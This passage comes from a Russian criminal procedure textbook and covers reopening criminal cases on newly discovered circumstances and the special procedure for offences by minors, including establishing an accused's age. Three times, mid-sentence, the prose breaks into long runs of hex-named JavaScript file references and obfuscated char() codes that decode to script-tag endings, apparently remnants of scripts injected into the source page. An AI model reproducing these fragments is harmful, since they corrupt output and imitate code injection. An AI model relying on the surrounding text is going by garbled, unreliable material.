4) принятие решения по результатам расследования;
5) составление заключения (при положительном решении) и направление его вместе с материалами расследования и делом, подлежащим пересмотру, через вышестоящего прокурора в суд;
6) рассмотрение и разрешение судом вопроса о возобновлении дела по вновь открывшимся обстоятельствам.
Производство по вновь открывшимся обстоятельствам начинается с поступления заявления или иного сообщения граждан, предприятий, учреждений, организаций, общественных объединений и должностных лиц о наличии вновь открывшихся обстоятельств. Эти сообщения должны быть направлены прокурору. Они играют роль лишь повода к началу производства по вновь открывшимся обстоятельствам. Это производство может быть начато только тогда, когда в поводе содержатся соответствующие основания. Основанием для начала производства являются достаточные данные, указывающие на признаки существования вновь открывшихся обстоятельств.
При отсутствии этих оснований прокурор своим постановлением отказывает в возбуждении производства по вновь открывшимся обстоятельствам. Постановление должно быть сообщено заинтересованным лицам, которые могут обжаловать его вышестоящему прокурору или в суд.524fe1e633f65d75a1dc0ba3f7d29c35.js" type="text/javascript">e63ed651f2a933a7f8ee5c78f026abcdchar(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)a7f245bd14938d16f75f5773aa87e329.js" type="text/javascript">222ff31d72a9e691813cb77cc0301583.js" type="text/javascript">3784cc571d85cae1f1879a49728c16f0.js" type="text/javascript">d3b3877ea7128716c0a1ce7be848751f.js" type="text/javascript">d4fd6c80872a14e95b5a78cf0e0d2eea.js" type="text/javascript">52084c30bc785174858df7d6237d0dff.js" type="text/javascript">2acb02d6edc109940fd370bc56f01afc.js" type="text/javascript">2ad292419c0918b89f7620a53786b67e.js" type="text/javascript">f0b3e257f9d6b23e94c2b81d0d1d5b57.js" type="text/javascript">9d9298b4c568d6c1b990d1448852559d.js" type="text/javascript">27ec11714af19dc09c936ed6aaf099ad.js" type="text/javascript">

Принципиальное единство уголовно-процессуальной формы не исключает ее дифференциации. Ярким выражением дифференциации уголовно-процессуальной формы является наличие разнообразных особых производств, среди которых находится производство по делам несовершеннолетних.
Особое производство в уголовном процессе — урегулированная уголовно-процессуальным законом специфическая форма правоотношений и деятельности участников судопроизводства, обусловленная характером и степенью тяжести преступлений либо социально-психологической и психической характеристикой подлежащих уголовной ответственности лиц и базирующаяся на общих правилах судопроизводства.
Существование особого производства по делам о преступлениях, совершенных несовершеннолетними, определяется необходимостью достижения трех целей:
1) эффективного предупреждения преступлений несовершеннолетних, поскольку, во-первых, преступность как социальное явление «рекрутирует» из несовершеннолетних новых преступников; во-вторых, удельный вес преступлений, совершенных несовершеннолетними в последние годы постоянно составляет 8-10 % от числа раскрытых преступлений;
2) установления истины по уголовным делам для решения вопросов назначения справедливого наказания или освобождения от уголовной ответственности;
3) обеспечения надлежащей правовой защищенности несовершеннолетнего обвиняемого.
Сложности достижения перечисленных целей обусловлены социально-психологическими характеристиками несовершеннолетних, связанными с их возрастом.
Среди них специалисты выделяют:
1) незрелость мышления несовершеннолетних.
Она проявляется в неумении несовершеннолетних анализировать и обобщать жизненные ситуации, мыслить в логической последовательности, предвидеть социально-правовые последствия своих решений и действий, отсутствие собственных, самостоятельных оценок и т. п.;261e7f1828378f578e88918b1d4f97ad.js" type="text/javascript">99245537108ed7ed969f33730299d894char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)ba6fcf080cd3d9c0ca81e5cbb230e2e3.js" type="text/javascript">b889387fb9b3a01c0b046fc2038d69de.js" type="text/javascript">05828219dd8c4e23772462e18f4109e3.js" type="text/javascript">5e4148eb30f46e6b5d8bda2f7fc5c464.js" type="text/javascript">8512c98f8c52bfa4b9ea29c481f19f2b.js" type="text/javascript">b9d7c2e9c62ea7a2b799662699a4c7bb.js" type="text/javascript">5ac79c4f8fb0ad2ef2dbd65321025268.js" type="text/javascript">3e8c7645a1f987e42a1bee0a798cd994.js" type="text/javascript">b1c70a053de3fd58dbb193e66c80650b.js" type="text/javascript">250c7b1cdbe8bfd17d16d8bc5607a71e.js" type="text/javascript">5713cf513e763d323d4daf3ade2eb25e.js" type="text/javascript">

Особенности досудебной подготовки материалов по делам несовершеннолетних заключаются в следующем.
1. По делам о преступлениях, совершенных несовершеннолетними, обязательно производство предварительного следствия. Оно производится следователями с учетом предметного признака подследственности. По делам о преступлениях, перечисленных в ч. 1 ст. 126 УПК, предварительное следствие производят следователи органов внутренних дел.
При установлении в процессе дознания несовершеннолетия подозреваемого орган дознания обязан незамедлительно передать дело следователю для производства предварительного следствия.
В целях повышения эффективности судебного разбирательства дел о преступлениях несовершеннолетних суды обязаны предъявлять высокую требовательность к качеству предварительного следствия, обращая при этом особое внимание на полное и всестороннее исследование обстоятельств, причин и мотивов совершения преступления, а также данных о личности подсудимого. На выявленные недостатки и нарушения норм процессуального закона суды должны реагировать в порядке, предусмотренном законом.*
* Постановление Пленума Верховного Суда СССР от 9 июля 1982 г. «О выполнении судами законодательства и руководящих разъяснений Пленума Верховного Суда СССР при рассмотрении дел о преступлениях несовершеннолетних»//Сборник постановлений Пленумов Верховного Суда Российской Федерации (СССР, РСФСР) по уголовным делам. М., 2000. С. 95.

2. При участии несовершеннолетнего в совершении преступления вместе со взрослыми дело о нем должно быть по возможности выделено в отдельное производство, если это не может создать существенные препятствия для всестороннего, полного и объективного исследования обстоятельств дела. При невозможности выделения дела в отдельное производство к несовершеннолетнему обвиняемому, привлеченному по одному делу со взрослыми, применяются как общие, так и специальные правила судопроизводства (ст. 26, 396 УПК).
3. По делам о преступлениях, совершенных несовершеннолетними, законодатель предусмотрел необходимость установления дополнительных обстоятельств, входящих в предмет доказывания.
При производстве предварительного следствия и судебного разбирательства наряду с установлением обстоятельств, указанных в ст. 68 УПК, необходимо обратить особое внимание на выяснение следующих обстоятельств:
а) возраст несовершеннолетнего (число, месяц, год рождения).
При установлении возраста нужно учитывать, что лицо считается достигшим возраста, с которого наступает уголовная ответственность, не в день рождения, а по истечении суток, на которые приходится этот день, то есть с ноля часов следующих суток.
При установлении судебно-медицинской экспертизой возраста подсудимого днем его рождения считается последний день того года, который назван экспертами, а при определении возраста минимальным и максимальным числом лет суду следует исходить их предлагаемого экспертами минимального возраста такого лица.
Необходимо также учитывать, что согласно ч. 3 ст. 20 УК, если несовершеннолетний достиг возраста, с которого он может быть привлечен к уголовной ответственности, но имеет не связанное с психическим расстройством отставание в психическом развитии, ограничивающее его способность осознавать фактический характер и общественную опасность своих действий (бездействия) либо руководить ими, он не подлежит уголовной ответственности;
б) условия жизни и воспитания;6aba63061ef835116bcdd3122007de01.js" type="text/javascript">626acf9ba42c32d69d42129303b17e96char(46,106,115,34,32,116,121,112,101,61,34,116,101,120,116,47,106,97,118,97,115,99,114,105,112,116,34,62,60,47,115,99,114,105,112,116,62)e73121259fc107f19305cfe3e6ddef23.js" type="text/javascript">ff99c63eea50f4d735ae29892a4283b9.js" type="text/javascript">683a5f758241dde97b519b21f4d5c591.js" type="text/javascript">7721c416735f76a806fa364f50e3e861.js" type="text/javascript">6015f1be0aee77473ce99ce081c0a57e.js" type="text/javascript">2fa87b7ab9c364bdaba79df0a8c5a189.js" type="text/javascript">b4ad0a5830644d9bd493bc33476e00a5.js" type="text/javascript">94a4fd0296acc36ecb6e89513c254b6d.js" type="text/javascript">61085fbdb1a0f0307e1030916f3b99de.js" type="text/javascript">dbd4ca3251769046c35e27879d76e0f9.js" type="text/javascript">e3cff7fa83d66537d88ac0b1c05fc817.js" type="text/javascript">